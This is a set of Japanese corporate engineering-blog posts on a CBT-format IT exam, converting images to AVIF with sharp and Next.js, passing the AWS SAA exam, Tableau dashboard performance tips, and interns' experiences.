はじめに 2022年4月に新卒入社しましたシステム統括本部（現デジタルテクノロジー戦略本部）のU.Mです。 令和４年度上期の基本情報技術者試験（CBT方式）を受験しました。（合格しました！） CBT方式の試験形式についての話を中心とした受験レポートです。 この記事の目的 基本情報技術者試験（CBT方式）の試験形式の特徴を伝える （ 試験問題の非公開への同意 に準拠し、試験内容に関しては記載しません） これから初めてCBT方式の試験を受験する人の不安を減らす CBT方式とは 試験会場に設置されたコンピュータを使用して実施する試験です。 出典： https://www.jitec.ipa.go.jp/1_11seido/cbt_sg_fe.html 私が受験した基本情報技術者試験では、試験会場のPC上で問題の閲覧、解答を行いました。 試験当日の注意事項・受付から受験の流れ・CBTの操作方法 この３つを説明した公式の資料のリンクは こちら です。 この資料は、プロメトリックの試験実施概要ページの ここから見ることができます。 試験当日に起こったこと 試験前 集合は試験開始時刻の15分前でした。その15分ほど前に会場に到着すると人が少なく、スムーズに受付を済ませることができました。 身分証の確認がありました。忘れた場合試験を受けさせてもらえないようです。 ポケットティッシュは包装を外して中身のみ持ち込むことができました。 試験中 試験画面のレイアウトや操作方法を当日知ったため混乱しました。 試験中問題画面左側の問題番号をクリックするとすぐに答えたい問題にとぶことができ、便利でした。 問題用紙に直接書き込むことができないので、説明が長い問題や図が含まれる問題は解きづらかったです。特に午後試験の問題が解きづらかったです。 A4のメモ用紙を１枚配られ、追加の紙が欲しければブザーで係員の方を呼んでくださいと言われたのですが、小心者の私は勇気が出ず呼ぶことができませんでした。結果１枚に収めるために非常に小さい字でメモをしました。 試験後 試験当日中にスコアレポートのメールが届き、得点を知ることができました。 受験しての感想 普段は紙の本を使って勉強しているので、PC試験ならではの特徴に慣れるのが大変だと感じました。 問題文の画面表示は見開き形式ではなく１ページずつのため、問題文のポイントをメモしつつ解くのが特に大変でした。 やっておくとよいこと プロメトリックの試験実施概要を見て、CBT方式の操作方法を確認 PC画面で問題を見ながら手元でメモをして問題を解く練習 基本情報技術者試験過去問道場 がオススメです。 紙の参考書で勉強する派の方も、午後問題の２、３年分はPC上で解いておくとよいかなと思います。 令和４年度下期の試験もCBT方式で行われるようです。これから試験を受けられる方は頑張ってください！ ここまで読んでいただきありがとうございました！

社内でWebアプリケーションの要件についての話がされている際のことです。 画像の拡張子について要件があったんですが、そこには基本的にWebPで、表示できないブラウザはPNGにするという旨が記載されていました。 AVIF君かわいそう、その場での私の気持ちは一つです。 そんなわけで、不思議と話に上がらないAVIFフォーマットとそれへの変換、フロントエンド周りの話をしてゆこうかと思います。 AVIF とは AVIF (AV1 Image File Format) は、 AV1ビットストリームを HEIF (High Efficiency Image File Format) コンテナーにエンコードした、強力でオープンソース、ロイヤリティフリーのファイル形式です。 (中略) 一般的に、 AVIF は WebP よりも圧縮率が高く、同じ JPG セットで中央値 50% 対 30% の圧縮率です -- 引用元: [画像ファイルの種類と形式ガイド__MDN] 見ての通り、ここまで読む限りではWebPよりも優れた形式です。 こんな優れた形式がなぜ使われていないのか、理由はいくつか考えられますが、個人的には知名度とブラウザ対応かと思います。 ブラウザ対応範囲 対応ブラウザは、Chrome, Opera, Firefoxです。 WebPの対応ブラウザはChrome, Edge, Firefox, Opera, Safariなので、比較するとEdgeとSafari対応がされていません。 (ユーザーが意図的に古いバージョンを用いている場合については考えないものとする) SafariとEdgeに対応していないことは地味に辛く、MDNにおいてもAVIFを用いる場合は <picture> 要素を使って他の拡張子に対応するようにしましょうと書かれています。 <picture> 要素は以下のように使用します。 <picture> <source srcset="/cat.avif" type="image/avif" /> <source srcset="/cat.webp" type="image/webp" /> <img src="/cat.jpg" alt="cat" /></picture> 使用しているブラウザに合わせて、 上から順に優先して 表示します。 そのため、例えば上記のコード内のavifとwebpを入れ替えると、webpが優先して使用されます。 ちなみに、 <picture> はIE以外の全ブラウザが対応しているので、IEが寿命を迎えた今、全ブラウザが対応している要素です。 AVIFに画像を変換する 個人的には、 sharp をお勧めします。 理由は単に、node.jsを入れるのが楽なのと、Next.jsの画像最適化機能に使われているのである程度信用があるためです。 単純に変換するだけであれば、以下のコードで変換できます。 #!/usr/bin/env zxconst sharp = require('sharp')sharp(argv.p) .avif() .toFile(`${argv.p}.avif`) コマンドライン引数の取得が手間だったためzxを使用していますが、cli上からファイル名を取得するためだけに使用しているので無視していただいて問題ありません。 このように、ファイル形式を変えるだけであればこうして簡単にできます。 ちなみに、こうして変換した場合のファイルサイズについては以下の通りとなっています。 jpg (元画像) WebP AVIF ファイルサイズ 105940 31324 15309 比率 100% 29.6% 14.5% 写真は、適当な猫の画像を使用しました。 見ての通り、WebPと比較してもさらに小さいことが良くわかると思います。 かなり楽に変換できるので、指定したディレクトリのファイルをWebPとAVIFに変換するなんてコードを書くのも楽です。 素書きのHTMLで使う場合は、こうして作ったファイルを <picture> で出してしまいましょう。 Next.jsにおけるAVIF AVIFは、Next.jsの画像最適化対象です。 ただし、変換速度がWebPと比較すると遅いため、デフォルトの設定ではAVIFは変換対象になっていません。 使用する場合は、以下のように設定を next.config.jsに追加してください。 const nextConfig = { images: { formats: ['image/avif', 'image/webp'], }}module.export = nextConfig これで、AVIFの画像最適化が有効になります。 もし使用する場合は、キャッシュと相談して使うようにしてください。

概要 AWS認定ソリューションアーキテクト アソシエイト(SAA)試験に 一度落ちてから受かった 話です。 ネットでは合格体験記も不合格体験記も両方溢れてますが、実際に周りであまり落ちた人を見かけないので記事にしました。 恥を忍んでスコアなど明け透けにすべてを晒しますので、次会った人は優しく接してあげてください。 ※先に言っておきますが決して自慢できるような点数でもなければ素晴らしいサクセスストーリーでもありません… 尚、本記事の前半は試験自体について、後半で私自身の体験記を書いています。 必要に応じて読み分けてみてください。 ここからは試験自体について触れていきます。 試験の概要 まずはじめに、公式のガイドラインを一読しましょう。 AWS公式ガイドライン - AWS Certified Solutions Architect - Associate 上記に書いてあることがすべてですので、王道だとここを参考に知識を深めていくのが一番よいと思います。 私が受けたのはC02バージョンです。このバージョンは2022年8月末に更新され受けられなくなります。 別にいつ受けても知識をつけるという意味では変わらないと思いますが、今のC02は対策が世間にたくさん転がってるので、試験対策されているという意味では受けやすいかもしれません。 ただ、形式とかはC01とC02でそんなに変わりないらしいので、もし更新されたとしてもやることは変わらないと思います。 全65問を130分で解きます。 試験を一周するのはそこまで苦労しない時間だと思います。 見直しのフラグがつけられるので、一周の後に見直しフラグを付けた問題だけ改めて考え直す…みたいな感じで解きました。 合格ラインは720点です。 100~1000点でスコアが出ます。 CBT(Computer Based Test)となります。 結構初見殺しな感じがするので、AWS公式が出している模試を受けておくことをお勧めします！ AWS公式の模試は無料で受けられ、ちゃんと解説もついてるのですごくお勧めです。 初回の不合格になったときは有料の方受けました…いい時代になったな 無料で受けられる試験については改めて後述します。 受験費用は 15,000円(税抜)です。マイナビでは資格支援制度があるため、受験料は会社負担で受験することができます。※ただし合否に関わらず請求は1回まで 模試代も費用請求できますが、無料の方で十分だと思います。 私の所属する課では、AWS試験は業務扱いになるため、業務時間内に受けてよいことになっています。 ただ私の性格上、土日に受けたい（平日中抜けすると結果聞かれてなんか精神ダメージ来そう）ので土日にしました。受けた後にオフィスに戻ったりするの嫌だし… 試験会場ですが、自宅でオンラインで受験する場合とテストセンターで受験する場合があります。 私は1度目も2度目もテストセンターにしました。オンラインだとカメラとかトラブル時の問い合わせとかが大変なようです。 どちらのテストセンターも変わりはなかったです。必ず15分前までに会場に着きましょう。ちなみに試験開始までずっと待たされることはなく、むしろ着いた順に早めに受けられたりします。 腕時計とか荷物類は持ち込めず、すべてロッカーに預けます。ロッカーサイズはそんなに大きいのがたくさん用意されてるわけではなさそうでしたので、手荷物は気持ち少なめがおすすめです。 勉強法 参考書 下記を使いました。 本は相性があると思いますので、下記以外でも好きなものを選ぶとよいと思います。 この1冊で合格! AWS認定ソリューションアーキテクト - アソシエイト テキスト&問題集 黄色いこちらをメインで見てました。本当は↓のみんな大好き黒本を先に読み始めていたんですが、身内からこちらを譲ってもらい読んだところ結構読みやすかったので、終盤はこちらばかり読んでました。 徹底攻略 AWS認定 ソリューションアーキテクト − アソシエイト教科書[SAA-C02]対応 こちらもよい本です。 周りで受かってる方はこれ読んでる人が多い印象があります。 模試 AWS 公式が用意している無料の模試をまずは解いてみることを強くお勧めします。 利用方法はクラスメソッド様がまとめているこちらが大変参考になります！ DevelopersIO - AWS認定の無料模擬試験がさらに便利になりました！ 解説が載っているだけでなく、親切に各サービスのホワイトペーパーのリンクも載せてくれています。時間のある方はすべて目を通すと、それだけでもかなり知見が溜まります。 20問くらいしかないです。本番は65問なので少なめです。 反復練習で、計5周くらいはした気がします。 私には 不合格体験があったため 、上記だけでは不安でした。なのでUdemyで模試を買ってそちらもやるようにしていました。 【2022年版】AWS 認定ソリューションアーキテクト アソシエイト模擬試験問題集（6回分390問） Udemyは状況に応じて都度内容アップデートが走るので、情報が古すぎる…ということはなさそうです。 Udemyはセールを度々やってますので、もし買うのであればセール時を狙うのがおすすめ。 不合格体験記にも書きますが、（時間がなかったので）3回分だけ解き、反復練習で再度同じ問題を3周くらいやりました。 その他 情報発信系の記事は積極的に読んでおくとよいと思います。 サービス名で調べると大体「公式ホワイトペーパー」や「やってみた系」の記事が見つかりますので、両方読んでおくのをお勧めします。 「やってみた系」はたまに間違ってたり情報古かったりするので注意です。 AWS ホワイトペーパーとガイド AWS サービス別資料 DevelopersIO: クラスメソッド発「やってみた」系技術メディア 業務でもしAWSに触れる機会があるのであれば、積極的に関わるとよいと思います。 私はあまり机上の勉強が得意ではないので、業務で出てきたサービスは頭に残りやすく、出てきてないものは本で読んでもすぐ忘れて何度も調べる羽目になりました（自分なりに情報をまとめたりしてたんですが…実際に触れたことがあるかないかはやはりデカいです） もし業務で触れられないとしても、自分だったらこのサービスはどういう構成にする？みたいな想像をしながら勉強するとよさそうです。ユースケースとか特に目を通しておくとよいと思いました。 試験に出た、押さえておくとよいところ 結構忘れていますが… CloudFrontを絡めた問題が多く出た気がします。 データベースを選ばせる問題も結構出ました。加えてLambdaやSQS絡めたりとか。 開発やってる方は余裕だと思いますが、 ネットワークメインのインフラ系には大変苦しかったです！！ だから印象に残っているのかも。 特にDynamoDBは頻出でした。本当に苦しかった。。。 Amazon DynamoDB Accelerator (DAX) は、フルマネージド型高可用性インメモリキャッシュでDynamoDB用に特化しているサービスです。 S3の問題もかなり出ました。ここも苦手なところでした。 ストレージクラス何選ぶ？とか、ライフサイクルポリシーらへんとか。CloudFrontとの合わせ技とかも。 単純に何を選ぶか、というより、具体的な使用方法が選択肢に書いてあり、それが今回のケースにマッチしてるのか考える感じでした。（どの方法もできそうだけど、ケースごとのベストプラクティスを選ばせるなど） EBSやEFSは大抵、単純にどれを選ぶか？とだけ出る問題が多かったように思います。 コンテナ系が数問出ましたが、そこまで迷わせる感じはなかったです（ここで減点されてたらウケる） IAM周りも少し出ましたが、選択肢としてはそこまで迷わなかった気がします（ここで減点されてたら泣ける） 他にもいろいろ出てましたが、私の印象に残ってるのは以上です！ ここからは私自身の体験記です。 ぜひ笑い飛ばしてください！(笑) 体験記 普段の業務 自分の業務範囲は、オンプレ環境においてのネットワーク系インフラ（物理機器を扱う低層）がメイン、業務で直接AWSに触れる機会はDirectConnect周りのみでした。 ただ、これからの時代AWSについてわかっておかねば困るだろうと思い勉強を始めました。（1年前の気持ち） ありがたいことに私の所属する部署では、業務時間内に勉強してよいこと、検証環境を自由に触れることから、自由に勉強するという観点では大変恵まれたところにいました。 ただやはり業務時間内では十分に時間がとれるとは限らないので、結局通勤中とか定時後にちょくちょくやっていた気がします。（といっても毎日真面目にはできませんでした。朝は電車酔いするし帰りは寝落ちするし…） つまり私のスペック的には、そこまで本格的に業務でAWS触ってたわけじゃありません。 不合格の時の話 不合格時の結果 お恥ずかしながら、この試験には一度落ちています。 落ちています！！！ 周りの方が当たり前のように受かっていくのを見ていたので、正直結構落ち込みました。 スコアは以下です。 2021年5月に受験しました。（この記事を書いてる1年ほど前になります） 惜し…くはないな…… ちなみに、合否判定は試験終了後、簡単なアンケートに答えた直後にすぐに出ます。（点数は後日わかります） つまり、 試験後の「あー終わった終わったとりあえず結果出るまで楽にしてよう」みたいな猶予は一切ありません。 何度も言いますがマジで凹みました。つらい。クソデカため息ついちゃう。 不合格時の反省 正直試験を受けている際は割と手応えはあった方でした。 完全な勘違いなんですが。 ただ、終わった後に冷静に振り返ってみると、「初見の（もしくは認識から漏れてた）サービスがあったな…」とも思いました。 AWS のサービスは幅広いので、すべてを網羅というのは厳しいかも知れませんが、単語からなんとなく推察するくらいはできた方がよいなぁと感じました。トランジットVPCは知らなくても、Transit Gatewayはなんとなく知ってるからそこからサービス内容がなんとなくわかる的な。 ちなみに、当時の勉強期間は1ヶ月くらいだったと思います。 点数の開示は翌日くらいのたぶんAWS側でバッチが走ってるタイミングで通知されわかるようになりますが、点数見た感じあともうちょい勉強すればいけるかな…？といった感覚もありました。（ただこの感覚は全く活かされていません） 合格の時の話 不合格の場合、14日後から再度試験が受けられます。 本当は2週間後すぐくらいに受けよう！と意気込んでいたのですが、業務が少し立て込んだのもあって遅らせているうちに気持ちが薄れてしまいました。。。 ※大変よくない例ですので皆さん真似しないように。 合格の時の結果 スコアは以下です。 2022年7月に受験しました。 思ってたよりギリギリじゃねぇか… 前述した通り、合否判定自体は試験終了後のアンケートに答えたあとにすぐに出ますので、心臓がおかしくなるくらい緊張して画面を進めていきました。 「判定：合格」と出た時、もしかして幻覚見てる？？と思って何度も上から下まで見直したりしてました。その後、喜びを噛みしめました！！ 2つの経験を通しての感想 初回受験して落ちた際は参考書をメインに勉強していました。知識のつき方的にはおそらく今とそんなに変わらないと思うのですが、具体的なユースケースを考慮できていなかったり、そもそも問題文の言い回しとかに若干戸惑いがあったり、不慣れで目が滑ってよく問題を読めていなかったりしたのがよくなかったんだろうなという反省があります。日本語訳もたまーに変だったりしたのも気になってしまいました。（問題文は英語に戻せますので、たまに戻して読んだりするのもおすすめです） 2回目の受験の際は、まずは問題に慣れたいというのもあって模試を中心に何度かやっていたおかげで、長い問題文や選択肢や独特の言い回しが来ても面食らわずに解くことができました。反復練習してわからないサービスは都度公式のホワイトペーパーで調べたり具体的なユースケースをセットで確認していたのもよかったのだと思います。 実際の試験では、やはり具体的なケースに基づく問題の出し方が多かったです。模試の問題そっくりそのまま出てくるケースはほぼなかったです。 余談ですが、初回の受験時の方が試験対策としての総勉強時間としては長かったです。2回目は「とりあえず去年一回落ちてんだし気軽に行ってみるか」とサクッと申し込んでしまったので、本格的に試験対策に着手できたのは1~2週間くらいでした。（一応それまでは、ダラダラとわからないサービス都度調べる、AWS Black Belt Seminarを眺める…みたいなことはしていました） ただ2回目の時は、所属している部署の方針として「AWSガンガンいこうぜ！」でなんとなく日常的に慣れた存在だったり、（直接的には触らないにしても）構成図を気軽に目にしたり、メイン業務ではないのに関わらせてくれる状況だったりしたのが功を奏したんだと思います。こればっかりは周りの方に感謝しかないです。 まとめ これは本当に身に染みて思っていますが、資格系の勉強すべてに言えることとして受験はあくまで通過点でしかないです。 資格を持っていなくても、実務でAWSの知識を生かして設計・運用している方はごまんといらっしゃいますし、市場価値としてはそちらの方がはるかに高いんだろうなと十分認識しています。尊敬してます。 ただ、今回オンプレ担当の自分がAWS SAAの資格取得のために勉強をすることで、そこまで業務で触っていなくても最低限の知識は身に着けられただろう、というのがよかったなと思っています。 いつでも受けられる試験なので、皆様ぜひ挑戦してみてください。 落ちても怖くない！

はじめに データ活用戦略課（現デジタルテクノロジー戦略本部）のT.Sです。 Tableauでダッシュボードがなかなか表示されないなどのことがあったりしませんか？ そんな時は、まず以下のポイントをチェックして、ダッシュボードの見直しを行って見てください。 目安としては、読み込みに2分以上かかる場合は一度見直しましょう。 また、添付のExcelはセルフチェックリストとしてご使用ください。 Tableauダッシュボードセルフチェックリスト 大前提 大前提の情報を先に書いておきます。 Tableau Desktopでダッシュボードがなかなか開かない場合は、Tableau Serverでも開きません！！ なので、Tableau Desktopで読み込み時間が遅いと感じるダッシュボードをTableau Serverにパブリッシュするのは控えましょう。 Tableau Serverでも読み込みに時間がかかり、なかなか開かないというのが落ちです。 まずはここから（一般的に見直すポイント） Tableauワークブックはシンプルイズザベストを目指しましょう！ 無駄なものはできるだけカットしましょう！ 1. 分析に使っていないデータソースはないですか？ 1つのダッシュボードに沢山のデータソースを接続すると、パフォーマンスは落ちます。 画像のDBマークをクリックすると、このダッシュボードで使用しているデータソースが何かを確認できます。 この数が少なければ少ない方がパフォーマンスは向上します。 なので、使用していないデータソースがないか今一度確認してみてください。 使用していないデータソースがある場合は削除しましょう！ 2. データはリアルタイムである必要はありますか？ Tableauのデータは「ライブ」データと「抽出」データがあります。 「ライブ」データは接続先のデータソースに毎回アクセスをして、データを表示させています。リアルタイムの数字が反映される点は素晴らしい機能ですが、都度接続先にアクセスしに行くため、開くのに時間がかかります。 一方、「抽出」データはデータの鮮度はライブに比べて落ちるのですが、Tableau専用のファイル形式であるため、Tableauが一番パフォーマンスを発揮できるように設計されてます。 リアルタイムの必要はなく、「1週間に1回しかデータが更新されない」などのものに関しては、抽出のデータソースを使用することをお勧めします。 3. 1枚のダッシュボードにたくさんグラフを載せてませんか？ ダッシュボードは、色んな情報を一度に確認できるものですので、皆さんお使いになられているかと思います。 ですが、1つのダッシュボードに沢山グラフを載せすぎると、グラフを表示させるのに時間がかかります。また、パフォーマンスだけでなく、グラフそのものも小さくなってしまい、せっかくきれいに可視化したものが見づらくなってしまいます。 そのため、ダッシュボードを設計する際に、最初はマクロの視点のグラフを載せたダッシュボード、それから徐々に詳細な視点のグラフを載せるという対応を取るといいと思います。 4. 不要なデータ項目ありませんか？ 読み込むデータの項目が多いと、その分読み込み時間がかかります。 分析に必要ない項目であると感じたら、項目を削除、または非表示にしましょう。 例えば、画像の「月」という項目が不要であれば・・・ 「▼」をクリックして、非表示を選択。 「月」をダッシュボードで見えないようにしましょう。 すると、パフォーマンスは上がります。 データを見直す 5. データをTableau Desktopで加工してませんか？ 皆さんが一番やりがちなのは、Tableau Desktop内でデータを結合したり、縦につなげたり、データをブレンドしたりなどを行ってしまうことです。 Tableau Desktop内の機能として、このような操作が出来てしまうのですが、そこは我慢しましょう。 6. 「参照整合性を仮定する」を使ってみましょう 5で結合などの加工はTableau Desktopではやらないと言ったのですが、 どうしてもという場合は、「参照整合性を仮定する」を使ってみましょう。 「データ」タブの下から4番目のところにあります。 これを使用することで、結合でクエリのパフォーマンスを向上させられる可能性があります。 詳しくは こちら を参照下さい。 ただ、やはりTableauDesktopで結合はせず、DataRobot Data Prep(Paxata)やTableau prepなどのデータプレパレーションツール、もしくはデータベースなどでデータを作成してから、Tableau Desktopに接続をしましょう。 7. ODBCドライバーを使っていませんか？ データソースを追加する時、どのドライバーを使っていますか？ ドライバーが用意されていないものに接続をする場合は致し方ないかもしれないのですが、それ専用のドライバーがある場合はそちらを使用しましょう。 8. 不要なレコードは取り込んでいませんか？ 例えば、今年度の実績や傾向を調べるためのダッシュボードに、2年前、3年前のデータを読み込ませていませんでしょうか？ 前年同月と比較をしたいのであれば、1年前のデータが存在すれば問題ないはずです。 取り込むレコード数はなるべく減らしましょう。 データタブの「データソースフィルターの編集」から設定することが可能です。 9. 抽出を作成する前に、使用していない項目を非表示 2でライブより抽出が適しているとお話をしました。抽出のデータソースを作る際にも、使用していない項目を非表示や削除して、抽出データソースを作成しましょう。 抽出の作成も、項目数やデータレコード数によって、作成の時間やサーバにかかる負荷が変わります。いらないものは削除するようにしましょう。 10. カスタム SQL クエリを使っていませんか？ データソース作成する際に、Tableau Desktop上でSQL（データソースからデータを抽出するためのプログラミングコードのこと）を書くことができます。そのことを「カスタムSQLクエリ」と呼びます。TableauからDBに対して通常の接続を行うと、Tableauは独自で最適化されたクエリを生成して実行しますが、カスタムSQLクエリは記載されたSQL通りに実行されます。そのため、最適なクエリではなくなるため遅くなります。 SQLを書くと他のユーザーも解読が難しいというデメリットもありますため、カスタムSQLクエリを使うのは避けましょう。 11. どうしてもカスタム SQL クエリが必要な場合は「*」や副問い合わせの使用はやめましょう。 SQL文を自分で書く場合、SELECT * FROM ～を使用すると全項目データの取得をすることができます。ただし、全項目分析に使用するか今一度考えてください。不要な項目が混ざっていることがほとんどでありますため、「＊」を使用せず項目名を明示的に指定してあげましょう。 また、Tableau DesktopでGUI画面でデータ作成している途中、そのデータをカスタムSQLクエリに切り替えた場合、既に作成されている途中のデータのSQLがデフォルトで準備されます。 例えば、下記画像のように、テーブルを結合したデータソースがあったとします。 こちらを「カスタム SQLに変換」をクリックします。 すると、SQLが自動で生成されます。 このままSQLを使用してしまうと、パフォーマンスが落ちてしまうことがあります。 理由は、分析に不要な項目が残ってしまうため、また、SQLを自動生成する際に 副問い合わせ が使われている可能性があるためです。 特に途中までユニオンを含んだデータソースを作成している方は、この副問い合わせが含まれたSQLが生成されてしまいますため、その場合は副問い合わせはせずにSQLを書き直してください。（不用意な副問い合わせはパフォーマンスが落ちます。） 画像：ユニオンしたデータソース 画像：上記データソースをカスタムSQLクエリに修正したもの 赤枠のように、FROMの後ろにカッコがあり、そのカッコ内にSELECT文が記載されていましたら、SQLを見直ししてください。 ダッシュボードを見直す 12. Tableauのtwbファイルのサイズが大きくないですか？ 3でも話しましたが、ダッシュボードの数やダッシュボードに使用しているビューの数が多いと、ダッシュボードは重くなります。分割できるものは分割しましょう。 13. いらない項目まで、ビューで表示させてませんか？ 必要な項目だけをビューで表示させましょう。 いらない項目をビュー内に残しておくと、塵積ではありますが徐々にダッシュボードを開くのに時間がかかっていきます。 14. フィルタをたくさん作っていませんか？ ダッシュボード作成でフィルタをよく作るかと思います。ですがフィルタをたくさん作成することで、そのフィルタの情報を適用するのに時間がかかってしまい、結果ワークブックの挙動が遅くなってしまいます。フィルタは必要なものだけワークブックに表示させましょう。 15. 固定サイズのダッシュボードを使いましょう！ あまり気にされていない部分であるとは思いますが、ダッシュボードのサイズは「固定サイズ」を使用しましょう！ Tableau Desktopで個人使用する分にはサイズをあまり気にする必要はないのですが、 Tableau Serverにパブリッシュをして他のユーザーにダッシュボードを共有する場合は気にする必要があります。 この部分を自動にすると、閲覧者によって画面サイズが異なりますため、Tableau Serverに使用環境ごとのキャッシュが溜まっていってしまいます。 特にサイズにこだわりがなければ、なるべくサイズは固定サイズを使用しましょう。 16. 集計表タイプのレポートを作っていませんか？ Excelやスプレッドシートのような、行数が大量にある表タイプのレポートはTableauは得意としない分野です。 せっかくTableauが使えるのに、集計表を作るのはもったいない気もします。なるべく集計表は使用せず、幅広い表現技法を試してみてください。 フィルタ処理を見直す 17. コンテキストフィルタを使いこなそう 通常のフィルタは他のフィルタに関係なく、データ ソース内のすべてのレコードにアクセスし、フィルタを適用します。一方、コンテキストフィルタは他のフィルタより先にデータをフィルタリングするため、他の通常のフィルタの処理が速くなる可能性があります。このコンテキストフィルタを設定することで、他のフィルタはコンテキストフィルタで残ったデータにのみフィルタを適用するため、レコードの絞り込みが早くなります！ 詳しくは こちら を参照ください。 ただし、過度な使用はかえって逆効果で、ダッシュボードの許容を遅くさせてしまします。使用する際は1,2個程度にしておきましょう。 18. 複数のワークシートにまたがってフィルタを使っていませんか？ 複数のワークシートにまたがったフィルタを作成することがTableau上では可能です。ですが、これを実施すると複数のクエリ（データにアクセスするためのプログラム）が実行されますため、結果が返ってくるのが遅くなります。複数ワークシートにまたがってのフィルタの多用は要注意です。遅いと感じましたら見直してみましょう。 19. 「適用」ボタン表示させてますか？ フィルタで「適用ボタンを表示」オプションを有効にすると、「適用」ボタンがフィルタ上に表示されます。 この「適用」ボタンがクリックされるまではデータの読み込み、フィルタの処理は行われません。 一方で「適用」ボタンなしだと、1つフィルタの操作をするだけで、すぐにデータを読み込みに行きます。 その分、読み込みが遅くなったり、操作的にも一回フィルタ選択して、データを読み込み、もう一回フィルタ選択して、また読み込み・・・を繰り返さないといけません。 ダッシュボードやビューのフィルタには、適用ボタンを表示させるようにしましょう。 計算処理を見直す 20. Tableauでの計算はなるべく控えましょう Tableauはデータを可視化するツールであります。計算機能は備わっているものの得意とはしていないです。 データの集計が多かったり、複雑な計算を行いたいときはTableauにデータソースとして取り込む前に処理できないか検討してください。 21. 計算でやらなくても可能なことを計算でやってませんか？ 例えば、値をグルーピング（カテゴライズ）する際に、IF関数などを使ったりしていないでしょうか？ その作業は、Tableauの「グループ」を作成するという操作でも作成が可能です。 Tableauのグループの作成は簡単で、グループ化したい項目を右クリックで選択し、「作成」、「グループ」とクリックしていきます。 すると、項目の値が出てくるため、グループ化したい項目を選択します。 選択が終わりましたら、「グループ」をクリックしますと、グループ化されます。 グループの値に名前を付けてあげると、IF文と同じことができます。 全ての設定が完了したら「適用」をクリックしましょう。 このように、関数で計算をしなくても、クリック操作で同じことが出来る可能性がありますので、なるべく計算は使用せずにダッシュボードを作成してみてください。 22. COUNTD関数は計算速度が遅いです COUNTD関数（ユニークなレコードの件数を数える関数）は接続するデータソースの全レコードにアクセスをして、重複レコードを削除して計算しています。 そのため、COUNTDはなるべく使用するのは避けた方が動きはよくなりますので、COUNTDを使用する必要がない場合はCOUNT関数を使用しましょう。 最後に Tableauでダッシュボードを作成する方法はたくさんあります。 皆さん思い思いのダッシュボードを作成していただいても構いませんが、 Tableau Serverなどで共有をする際に、今の作成方法だとサーバに負荷がかかってしまう可能性があります。 今までダッシュボードのパフォーマンスを意識したことがなかった方は、 一度、パフォーマンスという観点を意識したワークブックを作成してみてください。 参考資料 ●Tableau ワークブックのパフォーマンス チェックリスト　（Tableau） https://help.tableau.com/current/pro/desktop/ja-jp/perf_checklist.htm ●Tableauで作ったダッシュボードが遅い時にチェックする30のポイント #tableau　（classmethod） https://dev.classmethod.jp/articles/tableau-performance-checklist/#toc-17 ●Tuning Tableau Server: Performance Best Practices　（Tableau） https://www.youtube.com/watch?v=YYNCudevr6o ●Best Practices for Dashboard Performance　（Tableau） https://www.youtube.com/watch?v=6KGjjcCGxa0 ●SQL 副問合せのサンプル(サブクエリ)　（ITSakura） https://itsakura.com/sql_subquery

はじめに こんにちは！ 株式会社マイナビの就業型インターンシップに参加した @soutaschool , @toshi-bp , @kajikentaro , @aya-se です！ 本記事では就業型インターンシップに参加するきっかけや、実際に参加して経験した業務などをざっくばらんに書いていきます。 環境について オフィスは新宿駅直結のミライナタワーです。席はフリーアドレスになっていて、出社の時は好きな席に座って作業します。オフィスには私たちの所属している開発課だけでなく、AIシステム課、RPA課、インフラシステム課など様々な組織の方が働いています。 1席に2台のモニターが備え付けてあるので、貸与されたノートPCを接続します。モニターアームがかなり柔軟に調節できるので、片画面を縦にしてコーディングをしている人をよく見かけます。 ▲オフィスには集中して開発作業ができるスペースもあります キーボード・マウスは自分で用意する必要がありますが、好きなものを使うことができます。 1人1つロッカーがあるので、キーボードやマグカップなどの荷物は置いておくことができます。 1日の動き(一例) 時間 やること 9:15～10:00 オフィスに出勤してGitHubやBacklogの確認 10:00～10:15 朝会(フロントエンドとバックエンドで15分ずつ) 10:30～12:30 タスクを行う(コーディング・レビュー・調査・MTGなど) 12:30～13:30 お昼休憩(他のインターン生や社員の方々とランチ) 13:30～17:30 タスクを行う(コーディング・レビュー・調査・MTGなど) 17:30～17:45 進捗共有・退勤 インターン生は週2～3回の出勤のうち半分程度くらいがリモートワークです。 インターン生4人の勤務の曜日も少しずつ違っており、テスト前や用事がある日にはシフトも柔軟に対応していただくことができました。 使用技術 プロジェクトにもよりますが、領域ごとに以下のような技術を使用していました。 フロントエンド React(Next.js, CRA), TypeScript バックエンド Go, Node.js, Python(FastAPI, Flask), Firebase インフラ AWS, GCP インターンシップ内容詳細 ここでは、インターンシップ生4人がそれぞれの業務内容などについて記載していきます。 @soutaschool 情報系の学部に所属している４年生です。2021年8月から2022年6月までインターンに参加しました。 就業型インターンシップ参加まで きっかけは、サポーターズ主催のサマーEXPOでした。様々な夏インターンシップの情報を企業の方々が直接紹介し、質問に答えてくれるイベントでした。このイベントの際にマイナビの人事の方からマイナビ初の就業型インターンシップを開催すると案内があり、応募してみようと思いました。 選考過程では、書類選考とオンライン面接がありました。面接官の方は、今までどんなことをしてきたのかという質問はもちろんのこと、私の エンジニアとしてのマインド の考え方についても深くうなずきながら聞いてくださいました。また、こちらが気になっている点なども逆質問をさせていただき、とても分かりやすく答えてくださったのが印象的です。その結果、ありがたいことに就業型インターンシップに参加させていただくことになりました。 初出勤まで1か月ほど時間があったので、面接時に聞いた技術のキャッチアップやアルゴリズムなどを勉強していました。また、参加にあたっては、今後自身がエンジニアとしてどのように働いてきたいのかを就活前に明確にすること、普段利用しているサービスの裏側がどのように運営されているのかを知ること、エンジニア組織の空気感を知ることなどの目的がありました。 実際にやったこと ハッカソン型インターンシップで利用するWEBアプリのリファクタリングおよび機能実装 社内の新規プロジェクトの設計段階からリリース マイナビジョブサーチ のバックエンド開発 学びと感想 エンジニアとして技術的に成長することができたのはもちろんのこと、それ以上に、「チームで開発を行うことの楽しさ」や「今までにない新しいものを作り出していくことの醍醐味」を心の底から実感することができました。 また社員の皆さんは、業務をする中でつらくなった時にはアドバイスをくださったり、質問に対して真摯に対応してくださることがとても多く、エンジニアとして技術的に優秀なのはもちろん、一人の人間として相手の意見を尊重してプロダクトに落とし込む能力や相手の考えを察して面白いものを作っていくという姿勢は、多くの学びになりました。 ひとつ具体的なエピソードとして、『マイナビジョブサーチ』のバックエンドアーキテクチャについて休憩時間に何気なく雑談をしていた時、その場で思いついた私の突拍子もない意見に社員さんたちが真剣に耳を傾け、考えを細かくヒアリングしてくれたことがありました。そしてなんと、新機能に私の意見を反映させてくれたのです。この出来事は、私のモチベーションに繋がっただけではなく、いいものを開発していきたいという気持ちがより一層強くなりました。 ▲インターン生や社員の立場に関係なく、アイデア・意見は柔軟に取り入れてくれます 